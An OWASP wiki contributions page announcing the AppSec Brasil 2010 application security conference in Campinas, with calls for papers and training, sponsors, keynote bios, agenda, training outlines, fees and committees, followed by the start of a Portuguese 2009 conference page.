OWASP - User contributions [en]

AppSec Brasil 2010

2010-08-19T23:44:18Z

Thiagoalz: Copiando dados de português para ingles. Ainda falta traduzir.

__NOTOC__

[[Image:LogoAppSecBrazil.002.jpg|center]]

'''Para a versão em português, veja em [[AppSec Brasil 2010 (pt-br)]]'''

= OWASP AppSec Brasil 2010 =

The Second Edition of OWASP's flagship conference in South America will happen in Campinas, SP, Brazil. The Conference consists of two days of training sessions, followed by a two-day conference on a single track.
<center>
[[Image:AppSec Brasil 2010 Campinas.jpg|500px]]
</center>
== Conference Dates ==

The conference will happen from '''November 16th, 2010 to November 19th, 2010'''. The first two days will be tutorial days (see below). Plenary sessions will be held on November 18th and 19th.

<center>'''<span style="color: rgb(255, 0, 0); font-size: 14pt"> Proposal submission deadline extended to Sep. 23th. </span>''' </center>

<br>

==== About ====

== About the conference ==

Following the success of the first AppSec Brasil, held in Brasilia in 2009, the OWASP Brazilian Chapter is organizing its second edition in 2010. AppSec Brasil 2010 will happen in the city of Campinas, located 90 km from São Paulo.

Campinas is the 3rd biggest city in the State of São Paulo and is an important economic center and hosts major universities and research centers. It is known to concentrate several high tech industries, including important multi-national companies in the fields of electronics, telecom and chemicals.

This year, we expect to gather a number of Brazilian and Latin American practitioners and researchers to share state-of-the-art information about application security.

==== Calls ====
<pre>
**DEADLINE EXTENDED - 23 August**
**OWASP APPSEC BRASIL 2010**
**CALL FOR PRESENTATIONS**

Colleagues,

OWASP is currently soliciting presentations for the OWASP AppSec Brasil
2010 Conference that will take
place at CPqD Foundation in Campinas, SP, Brazil on November 16th
through 19th, 2010. There will be
training courses on November 16th and 17th followed by plenary sessions
on the 18th and 19th with each
day having one single track.

We are seeking people and organizations that want to present on any of
the following topics (in no particular order):
- - Application Threat Modeling
- - Business Risks with Application Security
- - Hands-on Source Code Review
- - Metrics for Application Security
- - OWASP Tools and Projects
- - Privacy Concerns with Applications and Data Storage
- - Secure Coding Practices (J2EE/.NET)
- - Starting and Managing Secure Development Lifecycle Programs
- - Technology specific presentations on security such as AJAX, XML, etc
- - Web Application Security countermeasures
- - Web Application Security Testing
- - Web Services-, XML- and Application Security
- - Anything else relating to OWASP and Application Security

To make a submission you must fill out the form available
at http://www.owasp.org/images/f/f7/OWASP_AppSec_Brasil_2010_CFP.rtf.zip
and submit
through the easychair conference interface at
http://www.easychair.org/conferences/?conf=appsecbr2010

Each presenter will have 45 minutes for the presentation, followed by 10
minutes reserved for
questions from the audience. The presentations must respect the
restrictions of the OWASP Speaker Agreement.

**Important Dates:**
Submission deadline is August 23, 2010 at 11:59 PM (UTC/GMT -3).
Notification of acceptance is September 8, 2010.
Presentation slides are due September 30, 2010.

The conference organization team may be contacted by email at
organizacao2010 (at) appsecbrasil.org

For more information, please see the following web pages:

Conference Website:
https://www.owasp.org/index.php/AppSec_Brasil_2010

OWASP Speaker Agreement:
http://www.owasp.org/index.php/Speaker_Agreement

OWASP Website:
http://www.owasp.org

Easychair conference site:
http://www.easychair.org/conferences/?conf=appsecbr2010

Presentation proposal form:
http://www.owasp.org/images/f/f7/OWASP_AppSec_Brasil_2010_CFP.rtf.zip

********** WARNING: Submissions without the information requested in the
proposal form will not be considered ************

Please forward to all interested practitioners and colleagues

</pre>
== Call for training providers ==
<pre>**OWASP APPSEC BRASIL 2010**
**CALL FOR TRAINING SESSIONS**

Colleagues,

OWASP is currently soliciting training proposals for the OWASP
AppSec Brazil 2010 Conference which will take place at Fundação CPqD
in Campinas, SP, Brazil, on November 16 through November 19, 2010.
There will be training courses on November 16 and 17 followed by
plenary sessions on the 18 and 19 with one single track per day.

We are seeking training proposals on the following topics (in no
particular order):
- Application Threat Modeling - Business Risks with Application Security
- Hands-on Source Code Review
- Metrics for Application Security
- OWASP Tools and Projects
- Privacy Concerns with Applications and Data Storage
- Secure Coding Practices (J2EE/.NET)
- Starting and Managing Secure Development Lifecycle Programs
- Technology specific presentations on security such as AJAX, XML, etc
- Web Application Security countermeasures
- Web Application Security Testing
- Web Services, XML- and Application Security
- Anything else relating to OWASP and Application Security

Proposals on topics not listed above but related to the conference
(i.e. which are related to Application Security) may also be accepted.

To make a submission you must fill out the form available at
http://www.owasp.org/images/1/1a/OWASP_AppSec_Brasil_2010_CFT.rtf.zip
and submit by email to organizacao2010@appsecbrasil.org

There may be 1 or 2-day courses. The proposals must respect the
restrictions of the OWASP Speaker Agreement. The conference will
reward trainers with at least 30% of the total revenue of their
courses, based on a minimum attendance. Courses that attract more
students may be granted higher percentages. No other compensation
(such as tickets or lodging) will be provided. If you require a
different arrangement, please contact the conference chair at the
email address below.

**Compensation**
Instructors and authors will be paid based on the number of students
in their training sessions. If the training gathers only the minimum
number of students, the compensation will be 30% of the revenue. For
each group of 10 extra students enrolled, the compensation will be
increased by 5% of the revenue, up to a maximum of 45% of the training
revenue. For example, a 1-day training with 10 to 19 students will
generate a compensation of 30% of the revenue. For classes of 20 to 29
students, the compensation raises to 35% percent of the revenue.

In exceptional cases, different compensation schemes may be accepted.
Please contact the conference organization team by email
(organizacao2010@appsecbrasil.org) for details.

**Training cost**
1-day training: R$ 450 per student
2-day training: R$ 900 per student
All prices in Brazilian Reais (BRL)

**Minimum number of students**
1-day trainings: 10 students
2-day trainings: 20 students

**Important Dates:**
Submission deadline is July 26, 2010, at 11:59 PM (UTC/GMT-3).
Notification of acceptance will be August 16, 2010.
Final version is due September 15, 2010.

The conference organization team may be contacted by email at
organizacao2010 (at) appsecbrasil.org

For more information, please see the following web pages:
Conference Website: https://www.owasp.org/index.php/AppSec_Brasil_2010
OWASP Speaker Agreement: http://www.owasp.org/index.php/Speaker_Agreement
OWASP Website: http://www.owasp.org
Easychair conference site:
http://www.easychair.org/conferences/?conf=appsecbr2010
Presentation proposal form:
http://www.owasp.org/images/1/1a/OWASP_AppSec_Brasil_2010_CFT.rtf.zip

********** WARNING: Submissions without all the information requested
in the proposal form will not be considered ************

</pre>
==== Sponsorship ====

We are currently soliciting sponsors for the AppSec Brasil 2010 Conference. Detailed [[Media:OWASP_-_Sponsorship_Opportunities_-_EN_V.1.2.pdf|sponsorship oportunities]] are now available.

If you are interested in sponsoring AppSec Brasil 2010, please contact the Conference Organization Team (organizacao2010@appsecbrasil.org).

== Sponsors ==

== Platinum Sponsors ==
{|
| [[Image:AppSec Brasil 2010 CPQD.jpg|200px|link=http://www.cpqd.com.br]]
|-
|  
|-
|}

== Gold Sponsors ==
{|
| [[Image:LeadComm Logo Screen.jpg|150px|link=http://www.leadcomm.com.br]]
| width="50" | <br>
| [[Image:Logo PagSeguro-Uma empresa-UOL.jpg|150px|link=http://www.pagseguro.uol.com.br]]
|-
|  
|-
|}

== Silver Sponsors ==
<br>

=== Attendee Kit Sponsors ===
{|
| [[Image:Logotipo_Conviso_2009_Cor.png|150px]]
| width="50" | <br>
| [[Image:lgClavis.png|110px|link=http://www.clavis.com.br]]
|-
|  
|-
|}
<br>

== Promoted by ==
<center>
[[Image:Appsec Brasil 2010 InstitutoTuring.png]]
</center>
==== Keynotes ====

==Robert 'Rsnake' Hansen ==

[http://www.sectheory.com/ SecTheory]

''Title:'' '''TBD.'''

''Bio:'' Robert Hansen aka RSnake is the CEO and founder of SecTheory. He has worked for Digital Island, Exodus Communications and Cable & Wireless in varying roles from Sr. Security Architect and eventually product managing many of the managed security services product lines. He also worked at eBay as a Sr. Global Product Manager of Trust and Safety, focusing on anti-phishing, anti-DHTML malware and anti-virus strategies. Later he worked as a director of product management for Realtor.com. Robert sits on the advisory board for the Intrepidus Group, previously sat on the technical advisory board of ClickForensics and currently contributes to the security strategy of several startup companies.

Mr. Hansen wrote Detecting Malice, authors content on O'Reilly and co-authored "XSS Exploits" by Syngress publishing. He sits on the NIST.gov Software Assurance Metrics and Tool Evaluation group focusing on web application security scanners and the Web Application Security Scanners Evaluation Criteria (WASC-WASSEC) group. He also has briefed the DoD at the Pentagon and speaks at SourceBoston, Secure360, GFIRST/US-CERT, CSI, Toorcon, APWG, ISSA, TRISC, World OWASP/WASC conferences, SANS, Microsoft's Bluehat, Blackhat, DefCon, SecTor, BSides, Networld+Interop, and has been the keynote speaker at the New York Cyber Security Conference, NITES and OWASP Appsec Asia. Mr. Hansen is a member of Infragard, West Austin Rotary, WASC, IACSP, APWG, contributed to the OWASP 2.0 guide and is on the OWASP Connections Committee.

Robert also maintains the http://ha.ckers.org website where he discuss web application security and provides lots of useful content to be used against web application attacks.

== Jeremiah Grossman ==

[http://www.whitehatsec.com/ WhiteHat Security]

''Title:'' '''TBD.'''

''Bio:'' Jeremiah Grossman, founder and CTO, WhiteHat Security, is a world-renowned Web security expert. A co-founder of the Web Application Security Consortium (WASC), he was named to InfoWorld's Top 25 CTOs in 2007 and is frequently quoted by business and technical media. He has authored dozens of articles and whitepapers, is credited with the discovery of many cutting-edge attack and defensive techniques, and is a co-author of "XSS Attacks: Cross Site Scripting Exploits and Defense." Grossman is also an influential blogger who offers insight and encourages open dialogue regarding Web security research and trends. Prior to WhiteHat, Grossman was an information security officer at Yahoo!

<br>

==== Agenda ====

== Conference Program - Day 1 - November 18th 2010 ==
<center>
{| width="80%" class="t"
|-
| width="14%" height="17" align="right" | 08:30 - 09:00
| bgcolor="#8595c2" align="CENTER" | '''Reception Desk Open'''
|-
| width="14%" height="17" align="right" | 09:00 - 09:30
| bgcolor="#b9c2dc" align="CENTER" | '''Opening Ceremony'''
|-
| width="14%" height="49" align="right" | 09:30 - 10:30
| bgcolor="#eeeeee" align="CENTER" | '''Dinis Cruz'''<br> About OWASP
|-
| width="14%" height="17" align="right" | 10:30 - 10:50
| bgcolor="#d98b66" align="CENTER" | '''Break'''
|-
| width="14%" height="49" align="right" | 10:50 - 12:20
| bgcolor="#b9c2dc" align="CENTER" | '''Robert 'RSnake' Hansen'''<br> TBD
|-
| width="14%" height="17" align="right" | 12:20 - 14:00
| bgcolor="#d98b66" align="CENTER" | '''Lunch Break'''
|-
| width="14%" height="47" align="right" | 14:00 - 14:50
| bgcolor="#b9c2dc" align="CENTER" | '''TBD<br>''' TBD
|-
| width="14%" height="32" align="right" | 14:50 - 15:40
| bgcolor="#eeeeee" align="CENTER" | '''TBD<br>''' TBD
|-
| width="14%" height="17" align="right" | 15:40 - 16:00
| bgcolor="#d98b66" align="CENTER" | '''Break'''
|-
| width="14%" height="47" align="right" | 16:00 - 16:50
| bgcolor="#b9c2dc" align="CENTER" | '''TBD<br>''' TBD
|-
| width="14%" height="32" align="right" | 16:50 - 17:40
| bgcolor="#eeeeee" align="CENTER" | '''TBD<br>''' TBD
|-
| width="14%" height="47" align="right" | 17:40 - 18:30
| bgcolor="#b9c2dc" align="CENTER" | '''Invited Speaker'''<br> TBD
|-
| width="14%" height="17" align="right" | 18:30 - 18:35
| bgcolor="#cccccc" align="CENTER" | '''End of the First Day'''
|}
</center>
<br>

== Conference Program - Day 2 - November 19th 2010 ==
<center>
{| width="80%" class="t"
|-
| width="14%" height="17" align="right" | 08:30 - 09:00
| bgcolor="#8595c2" align="CENTER" | '''Reception Desk Open'''
|-
| width="14%" height="32" align="right" | 09:00 - 10:30
| bgcolor="#b9c2dc" align="CENTER" | '''Jeremiah Grossman'''<br> TBD
|-
| width="14%" height="17" align="right" | 10:30 - 10:50
| bgcolor="#d98b66" align="CENTER" | '''Break'''
|-
| width="14%" height="47" align="right" | 10:30 - 11:40
| bgcolor="#eeeeee" align="CENTER" | '''TBD'''<br> TBD
|-
| width="14%" height="32" align="right" | 11:40 - 12:30
| bgcolor="#b9c2dc" align="CENTER" | '''TBD'''<br> TBD
|-
| width="14%" height="17" align="right" | 12:30 - 14:00
| bgcolor="#d98b66" align="CENTER" | '''Lunch Break'''
|-
| width="14%" height="32" align="right" | 14:00 - 14:50
| bgcolor="#eeeeee" align="CENTER" | '''Invited Speaker'''<br> TBD
|-
| width="14%" height="32" align="right" | 14:50 - 15:40
| bgcolor="#b9c2dc" align="CENTER" | '''TBD'''<br> TBD
|-
| width="14%" height="47" align="right" | 15:40 - 16:10
| bgcolor="#eeeeee" align="CENTER" | '''Cel. Monclaro'''<br> Presentation of RENASIC
|-
| width="14%" height="17" align="right" | 16:10 - 16:30
| bgcolor="#d98b66" align="CENTER" | '''Break'''
|-
| width="14%" height="32" align="right" | 16:30 - 17:20
| bgcolor="#b9c2dc" align="CENTER" | '''TBD'''<br> TBD
|-
| width="14%" height="47" align="right" | 17:20 - 18:10
| bgcolor="#eeeeee" align="CENTER" | '''TBD'''<br> TBD
|-
| width="14%" height="17" align="right" | 18:10 - 18:30
| bgcolor="#cccccc" align="CENTER" | '''End of the Conference'''
|}
</center>
<br>

==== Trainings ====

[[Image:Aspect logo.png]]

=== '''Secure Coding for J2EE Applications''' ===

[[Image:Jasonli appsecBR2010.jpg|frame]] '''Date and time: November 16th and 17th'''<br> '''Instructor: Jason Li'''<br> '''Summary'''<br> Training developers on secure coding practices offers one of the highest returns on investment of any security investment by eliminating vulnerabilities at the source. Aspect’s Java EE Secure Coding Training raises developer awareness of application security issues and provides examples of ‘what to do’ and ‘what not to do.' The class is lead by an experienced developer and is delivered in a very interactive manner. This class includes hands-on exercises where the students get to perform security analysis and testing on a live Java EE web application. This specially designed environment includes deliberate flaws the students have to find, diagnose, and fix. The class also uses Java EE coding exercises to provide students with realistic hands-on secure coding experience. Students gain hands-on experience using freely available web application security test tools to find and diagnose flaws and learn to avoid them in their own code.<br>

'''Audience'''<br> The intended audience for this course is intended for Java EE software developers and Java EE software testers who know how to program.<br>

'''Learning Objectives'''<br> At the highest level, the objective for this course is to ensure that developers are capable of designing, building, and testing secure Java EE applications and understand why this is important.<br>

'''Topics'''<br>

*'''HTTP Fundamentals'''<br>
**Understand and be able to employ the security features involved with using HTTP (e.g., headers, cookies, SSL)<br>
*'''Design Principles and Patterns'''<br>
**Understand and be able to apply application security design principles.<br>
*'''Threats'''<br>
**Be able to identify and explain common web application security threats (e.g. , cross-site scripting, SQL injection, denial of service attacks, "Man-in-the-middle" attacks, etc.) and implement mitigation techniques.<br>
*'''Authentication and Session Management'''<br>
**Be able to handle credentials securely while providing the full range of authentication support functions, including login, change password, forgot password, remember password, logout, reauthentication, and timeouts.<br>
*'''Access Control'''<br>
**Be able to implement access control rules for the user interface, business logic, and data layers.<br>
*'''Input Validation'''<br>
**Be able to recognize potential input validation issues, particularly injection and Cross-site Scripting (XSS) problems, and implement appropriate input validation mechanisms for user input and other sources of input.<br>
*'''Command Injection'''<br>
**Understand the dangers of command injection and techniques for avoiding the introduction of this type vulnerability.<br>
*'''Error Handling'''<br>
**Be able to implement a consistent error (exception) handling and logging approach for an entire web application.<br>
*'''Cryptography'''<br>
**Learn when to apply cryptographic techniques and be able to choose algorithms and use encryption/decryption and hash functions securely.<br>

'''Jason’s Bio'''<br> Jason is a remarkable trainer, mastering five different training courses within a year’s time to our most valuable longstanding but diverse clients. The client base included a large financial institution, several leading shipping and logistics Management Company, and a leading Government systems integrator.<br>

Jason has also taught Advanced Web Application Security Testing and Building Secure Web Applications classes at OWASP 2008 conferences in Belgium and India.<br>

Common remarks returned from Jason’s class evaluations include '''“This is probably one of the most important classes I‘ve been exposed to here”''' and '''“One of the best instructors I’ve ever had. Really knowledgeable of the subject. Kept class interested by sharing real life examples that depicted good scenarios”'''<br>

== Utilizando a API de segurança OWASP ESAPI (Enterprise Security API) para prover segurança em aplicações Web ==

'''<span style="color: rgb(255, 0, 0);"> Treinamento em português. </span>'''

'''Data e horário: 16 de Novembro (9 às 18 horas)'''<br> '''Instrutor: Tarcizio Vieira Neto'''<br>

'''Resumo'''

A evolução da tecnologia no desenvolvimento de aplicações WEB tem contribuído com o aumento significativo do uso dessa tecnologia para atender os mais diversificados propósitos. Porém, essa tecnologia está sujeita a vulnerabilidades de segurança críticas, principalmente quando pesquisas recentes apontam que a maioria das vulnerabilidades estão presentes na própria aplicação. A biblioteca ESAPI (Enterprise Security API), da OWASP, surge neste cenário como uma biblioteca de segurança open source disponível para diversas linguagens, como Java EE, PHP, .NET, ASP Clássico, Python, Ruby, entre outras. O minicurso abordada as vulnerabilidades causadas por erros comuns no desenvolvimento de aplicações e os mecanismos de controle de segurança providos pela biblioteca ESAPI com o foco na tecnologia Java. Os princípios
gerais aprendidos no curso podem ser aplicados no contexto das demais linguagens de programação.

'''Público Alvo'''

O perfil desejado de audiência são pessoas ligadas à área de desenvolvimento e segurança de
aplicações Web, tendo como pré-requisito conhecimentos básicos em tecnologias Web,
protocolos de comunicação HTTP e HTTPs, princípios básicos de segurança: criptografia, hash e assinatura digital,
programação Java para sistemas Web.

'''Objetivos de Aprendizado'''

* Conhecer as principais vulnerabilidades de segurança comumente encontradas em aplicações Web.
* Apresentar a arquitetura da biblioteca ESAPI e o funcionamento de seus módulos com exemplos em código Java associados.
* Apresentar o componente Web Application Firewall da ESAPI.

'''Tópicos'''

# Introdução
## Mitos relacionados à segurança em Aplicações Web
## Projeto OWASP
# OWASP Top 10
# Biblioteca OWASP ESAPI
## Módulo de Validação e Codificação
## Módulo de Autenticação
## Módulo de Controle de Acesso
## Módulo de utilitários HTTP
## Módulo de tratamento de referência de acesso
## Módulo de Criptografia
## Módulo de Log
## Módulo de Detecção de Intrusão
## Integrando o módulo AppSensor com a ESAPI
## Utilizando Filtros
## Configurando a ESAPI
## Módulo Web Application Firewall da ESAPI
# Vantagens do Uso da Biblioteca ESAPI
# Conclusões

'''O Instrutor'''

Tarcizio Vieira Neto é graduado em Ciência da Computação pela Universidade Federal de
Goiás (UFG), em Goiânia. Começou a carreira de desenvolvedor como estagiário em um projeto de iniciação tecnológica financiado pelo CNPq na empresa Estratégia, em Goiânia. Após concluir a graduação trabalhou por seis meses na empresa Fibonacci Soluções Ageis, na mesma cidade, no cargo de analista de desenvolvimento. Em seguida trabalhou por dois anos e oito meses na Força Aérea Brasileira como oficial
analista de sistemas do quadro complementar no Centro de Computação da Aeronáutica
de Brasília, onde adquiriu experiência com a tecnologias de certificação digital e colaborou no
desenvolvimento de um sistema corporativo de gestão eletrônica de documentos.

Atualmente trabalha no SERPRO desde novembro de 2009 como Analista de Desenvolvimento, na Coordenação Estratégica de Tecnologia – CETEC, desenvolvendo trabalhos sobre o tema segurança no desenvolvimento de software, desde novembro de 2009, onde dedica-se prioritariamente na elaboração de guias que padronizam técnicas e ferramentas que dão suporte à segurança no desenvolvimento de aplicações Web.
Está cursando o curso de especialização em segurança da informação pela Universidade
de Brasília (UnB) e possui ao todo
mais de 5 anos de experiência com programação em Java.

==The Art and Science of Threat Modeling Web Applications==

'''<span style="color: rgb(255, 0, 0);"> Atenção: Este treinamento será ministrado em inglês SEM tradução simultânea. </span>'''

'''Data e horário: 17 de Novembro (9 às 18 horas)'''<br> '''Instrutor: Mano Paul'''<br>

'''Resumo'''

To secure your home, you will first need to know how the thief could possibly enter and exit and where you should store your valuables. The same is true of your web applications. Unless you know what the vulnerabilities and threats of your web applications are, and what security measures you should take to protect them, ev1L h@x0rS or the enemy within (insider) could take advantage of the vulnerabilities.
Threat Modeling is a technique that you can use to identify ATVS (attacks, threats, vulnerabilities and safeguards) that could affect your web applications. Threat Modeling helps in designing your application securely from a confidentiality, integrity, availability, authentication, authorization and auditing perspective. It is an essential activity to be undertaken during the design stage of your SDLC and helps mitigate and minimize overall risk.

'''Público Alvo'''

O público alvo é composto por pessoal técnico e gerencial de organizações de desenvolvimento de sistemas, sem requisitos de conhecimento de linguagens ou metodologias de propogamação especificos.

'''Objetivos de Aprendizado'''

# Understand Threat Modeling; when to threat model and when not too
# Translation of threats to risks for the organization
# Have fun learning complex concepts with exercises and interactive games

'''Tópicos'''

Introduction
# Why Threat Model?
# Is Threat Modeling Right for You?
# Challenges
# Precursors
# Data Classification and Threat Modeling
# Web Application Security Mechanisms
# Benefits of Threat Modeling
# Common Glossary of Terms
# Threat Agents
# OWASP Top 10 and common application attacks
# Threat Modeling Process
# Attack Trees
# Threat and Risk Frameworks e.g., STRIDE and DREAD
# Threat to Risk translation
# Threat Modeling (Hands-On Exercise)

'''O Instrutor'''

Manoranjan (Mano) Paul is the Software Assurance Advisor for (ISC)2. His information security and software assurance experience includes designing and developing security programs from compliance-to-coding, security in the SDLC, writing secure code, risk management, security strategy, and security awareness training and education. He founded and serves as the CEO & President of Express Certifications. He also founded SecuRisk Solutions, a company that specializes in security product development and consulting.

==Segurança em Arquitetura Orientada a Serviço==

'''<span style="color: rgb(255, 0, 0);"> Treinamento em português. </span>'''

'''Data e horário: 17 de Novembro (9 às 18 horas)'''<br> '''Instrutores: Douglas Rodrigues, Julio Cesar Estrella e Nuno Manuel dos Santos Antunes'''<br>

'''Resumo'''

Web services são a pedra angular de Arquiteturas Orientadas a Serviços (SOA). Como
componentes críticos de negócios, Web Services devem apresentar alta segurança. No
entanto, a implantação de Web Services seguros é uma tarefa complexa. De fato, diversos
estudos mostram que um grande número de Web Services são implantados com falhas de
segurança que vão desde vulnerabilidades de código (por exemplo, vulnerabilidades que
permitem a injeção de código, incluindo SQL Injection e XPath Injection) até a utilização
incorreta das normas e protocolos de segurança. O objetivo desse minicurso é o de apresentar
de forma teórica e prática ferramentas que permitem a detecção de vulnerabilidades e
mecanismos e protocolos de segurança contra ataques.

'''Público Alvo'''

O público alvo é composto por pessoal técnico e operacional de organizações de desenvolvimento de sistemas, com requisitos de conhecimento de linguagens ou metodologias de propogamação especificos em nível intermediário.

'''Objetivos de Aprendizado'''

O minicurso proposto contribui para agregar novas tendências tecnológicas. O tema é bastante
interessante no tocante aos grandes desafios da pesquisa em computação, uma vez que se
insere de forma natural dentro do desenvolvimento tecnológico de qualidade, englobando por
sua vez, sistemas disponíveis, corretos, seguros, escaláveis, persistentes e ubíquos, além de
notoriamente, observando-se as conferências da área, que SOA, Web Services e segurança
constituem tema de crescente investigação na área de computação, pois é atual e de interesse
da comunidade acadêmica, bem como de profissionais que atuam amplamente no mercado de
trabalho. O interesse por SOA tem crescido nos últimos anos por se tratar de uma abordagem
que ajuda os sistemas a permanecerem escaláveis e flexíveis enquanto crescem, e que
também pode auxiliar a resolver a lacuna negócio/TI. Os estudantes e profissionais da área
terão a oportunidade de compreender os princípios básicos de detecção de vulnerabilidade em
nível de código e também a detecção de ataques por meio de protocolos e mecanismos. A
idéia é que os participantes possam utilizar o breve conhecimento adquirido neste minicurso
para o desenvolvimento de aplicações distribuídas usando Web Services seguros e obterem
conhecimento necessário para diagnosticar e prevenir ataques a esse tipo de aplicação.

'''Tópicos'''

# PADRÕES E PROTOCOLOS DE SEGURANÇA PAR WEB SERVICES
# ATAQUES EM WEB SERVICES
## Ataques de Negação de Serviço (Denial of Service)
## Ataques de Força Bruta (Brute force)
## Ataques Spoofing
## Ataques de Inundação (Flooding)
## Ataques por Injeção
# AVALIANDO SEGURANÇA EM WEB SERVICES
## Estudo de campo sobre segurança em Web Services
## Análise “White-box”
## Teste “Black-box”
## Teste “Gray-box”
## Estudo de campo sobre a eficácia de ferramentas de avaliação de segurança

'''O Instrutor'''

Júlio Cesar Estrella - Cursou Mestrado em Ciência da Computação e Matemática
Computacional, na área de Sistemas Distribuídos (Instituto de Ciências Matemáticas e
de Computação ICMC / Universidade de São Paulo – USP). Durante o Mestrado,
trabalho com simulação de redes de filas em um projeto relacionado ao
desenvolvimento de técnicas de negociação em modelos de servidores web com
diferenciação de serviços. Doutor em Ciência da Computação e Matemática
Computacional (Instituto de Ciências Matemáticas e de Computação ICMC /
Universidade de São Paulo – USP). O tema do projeto de doutorado versou sobre
arquiteturas orientadas a serviços com suporte à QoS, bem como caracterização de
cargas de trabalho para Web Services e Composição de Serviços também com suporte
à Qualidade de Serviço. Atualmente é professor da Universidade Tecnológica Federal
do Paraná (UTFPR - Campo Mourão)

Douglas Rodrigues - Mestrando em Ciências de Computação e Matemática
Computacional pelo Instituto de Ciências Matemáticas e de Computação da
Universidade de São Paulo - ICMC-USP/São Carlos. Bacharel em Ciência da
Computação pelo Centro Universitário Eurípides de Marília - UNIVEM - Marília/SP. Atua
principalmente nos seguintes temas: SOA, Web Services, avaliação de desempenho,
criptografia e segurança.

Nuno Manuel dos Santos Antunes - frequentou, entre 2003 e 2007, a Licenciatura em
Engenharia Informática no Departamento de Engenharia Informática da Universidade de
Coimbra. Desde 2008 que exerce investigação científica no grupo de Software and
Systems Engineering (SSE) do Centro de Informática e Sistemas da Universidade de
Coimbra (CISUC), em tópicos relacionados com metodologias e ferramentas para o
desenvolvimento de Web Services sem vulnerabilidades. Concluiu em 2009 o Mestrado
em Engenharia Informática no Departamento de Engenharia Informática da
Universidade de Coimbra, com a classificação final de Muito Bom. Em 2009 iniciou o
seu Doutoramento em Ciências e Tecnologias da Informação. Publicou 5 artigos
científicos em conferências com processo de revisão pelos pares rigoroso, incluindo
artigos nas conferências mais prestigiadas das áreas de confiabilidade e serviços.

==Revisões de Segurança de Sistemas ASP.NET nos modos "black box" e "white-box" usando a plataforma OWASP O2==

'''<span style="color: rgb(255, 0, 0);"> Este treinamento será ministrado em português usando materiais em inglês. </span>'''

'''Data e horário: 16 de Novembro (9 às 18 horas)'''<br> '''Instrutor: Dinis Cruz'''<br>

'''Resumo'''

This is a hands-on Training course on how to use the OWASP O2 Platform to perform both Black-Box and White-Box security reviews on ASP.NET Web Applications

The course is designed for security consultants/developers who are responsible for performing Penetration Tests or Security Code Reviews. The course will show practical examples of how to use the OWASP O2 Platform to find, exploit and document security vulnerabities.

For the course's labs, a number of test and real-world applications/frameworks will be used. In order to give the students a benign test enviroment which is easy to replicate, the (vulnerable-by-design) HacmeBank ASP.NET banking application will be used throughout the course.

'''Tópicos'''

* What is the OWASP O2 Platform and how to use it?
* Using O2's Unit Tests for web exploration and browsing
* Using O2's Unit Tests for web exploitation
* Understanding and using O2's Web Automation Tools to find and exploit vulnerabilities in HacmeBank (Black-Box)
* Understanding and using O2's AST .NET Scanner to find vulnerabilities in HacmeBank (White-Box)
* Connecting the source-code traces with the web exploits to create a unified view of the vulnerabilties
* Create 'Vulnerability-driven Unit Tests' to be delivered to Developers, QA/Testers and Managers
* Customizing and writing new APIs (for new or modified frameworks)
* Using O2 to consume results from open source tools and 3rd party commercial vendors
* Case Study: Microsoft ASP.NET MVC
* Case Study: Microsoft Sharpoint

'''O Instrutor'''

The course is delivered by Dinis Cruz who the lead developer of the OWASP O2 Platform and has created and delivered a number of .NET Security training courses

== Local dos treinamentos ==

A conferência será em Campinas, SP, na [http://www.cpqd.com.br Fundação CPQD].

Veja a localização usando o [http://maps.google.com.br/maps/ms?source=embed&hl=pt-BR&geocode=&ie=UTF8&update=1&t=h&msa=0&msid=104978801628275418750.000462bf2d1a49a7571af&ll=-22.83125,-47.044315&spn=0.03718,0.04034&z=14 Google Maps]

== Como chegar ==

TBD

==== Venue ====

The event will be held in Campinas, SP, Brazil at: [http://www.cpqd.com.br Fundação CPQD].

You can check the location at [http://maps.google.com.br/maps/ms?source=embed&hl=pt-BR&geocode=&ie=UTF8&update=1&t=h&msa=0&msid=104978801628275418750.000462bf2d1a49a7571af&ll=-22.83125,-47.044315&spn=0.03718,0.04034&z=14 Google Maps]

''How to get there''

TBD

==== Registration ====

== Online Registration ==

Registration form will be available shortly.

== Conference Fees ==

'''Access to conference:'''

* Before Sep 16th: 400.00 BRL
* Before Oct 16th: 500.00 BRL
* Before Nov 12th: 550.00 BRL
* On site: 600.00 BRL

On site registration subject to the availability of seats.

'''Trainings'''

* One day: 450.00 BRL
* Two days: 900.00 BRL

'''Discounts'''

* OWASP Member: 100.00 BRL (Note: This discount is greater than the OWASP USD 50.00 annual fee. Check [http://www.google.com.br/#q=50+usd+in+brl&fp=1 here]
* Student: 100.00 BRL (Note: student ID required).

==== Committees ====

== Conference Committee ==

OWASP Global Conferences Committee Chair: Mark Bristow

OWASP [[Brazilian]] Chapter Leader: Wagner Elias

AppSec Brasil 2010 Organization Team (organizacao2010 at appsecbrasil.org):

*Conference General Chair: Lucas C. Ferreira
*Tutorials Chair: Eduardo Camargo Neves
*Tracks Chair: Luiz Otávio Duarte
*Local Chair: Alexandre Melo Braga

=== Team Members ===

*Alexandre Melo Braga
*Eduardo Camargo Neves
*Lucas C. Ferreira
*Luiz Otávio Duarte
*Wagner Elias
*Eduardo Alves Nonato da Silva
*Leonardo Buonsanti
*Dinis Cruz
*Paulo Coimbra

== Programme Committee:==
* Alexandre Braga
* Carlos Serrao
* Eduardo alves
* Fernando Cima
* Leonardo Buonsanti
* Lucas Ferreira
* Luiz Duarte
* Nelson Uto
* Rodrigo Rubira
* Wagner Elias

<br> <br>

==== Travel ====

TBD

==== Links ====

Blog: http://blog.appsecbrasil.org

Twitter: http://twitter.com/owaspappsecbr

Banner: http://www.owasp.org/images/3/31/AppSec_Brasil_2010_Banner.gif

<br> <headertabs />

[[Category:OWASP_AppSec_Conference]]

AppSec Brasil 2009 (pt-br)

2009-08-25T17:20:17Z

Thiagoalz: Correção de erro ortográfico

=Conferência Internacional de Segurança de Aplicações (AppSec Brasil 2009)=

A comunidade [http://www.ticontrole.gov.br Comunidade TI-Controle] e o Centro de Informática da [http://www.camara.gov.br Câmara dos Deputados] apresentam a '''Conferência Internacional de Segurança de Aplicações''', que será realizada com o apoio do OWASP ([http://www.owasp.org/index.php/About_OWASP Open Web Application Security Project]) em [http://en.wikipedia.org/wiki/Brasília Brasília], capital do Brasil. A conferência consistirá de dois dias de treinamentos, seguidos de dois dias de plenárias em trilha única.

[[Image:Brasilia Panorama.jpg]]

==Datas==

A Conferência ocorrerá do dia 27 ao 30 de outubro de 2009. Os dias 27 e 28 de outubro serão dedicados ao mini-cursos e os dias 29 e 30 terão as sessões plenárias.

<center>'''<span style="color:#ff0000"> Aviso aos Autores de propostas de palestras e mini-cursos: </span>'''</center>
